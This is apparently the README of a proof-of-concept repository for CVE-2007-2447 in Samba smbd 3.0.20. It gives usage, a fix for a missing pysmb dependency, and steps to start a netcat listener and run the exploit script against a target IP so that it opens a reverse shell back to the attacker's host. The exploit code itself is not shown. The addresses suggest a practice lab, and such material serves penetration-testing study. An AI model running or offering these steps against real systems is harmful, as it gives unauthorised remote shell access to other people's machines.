Exploit Samba smbd 3.0.20-Debian# CVE-2007-2447
🖥️ -n3rdyn3xus- #️⃣ CVE-2007-2447
```
python3 smb3.0.20.py -lh [localhost] -lp [local port] -t [target]
```
### Error

The error you're encountering indicates that the Python script is trying to import a module named `smb`, but it is not installed on your system. The smb module is part of the pysmb library, which allows you to interact with SMB/CIFS servers.
To resolve this issue, you need to install the `pysmb` library. You can do this using `pip`. Here's how:
1. Install pysmb:
```
pip install pysmb
```
2. Verify the installation: After installing, you can verify that the pysmb module is installed by running:
```
python -c "import smb; print('pysmb is installed')"
```

### Create a Netcat listener
```
nc -nlvp 4444
```
### Run the script
```
python3 smb3.0.20.py -lh 10.10.16.18 -lp 4444 -t 10.10.10.3
```


[4.0K] /data/pocs/ee8a72bb022fab08846e484e2cc8c349cc5c898b
├── [1.2K] README.md
└── [2.1K] smb3.0.20.py
0 directories, 2 files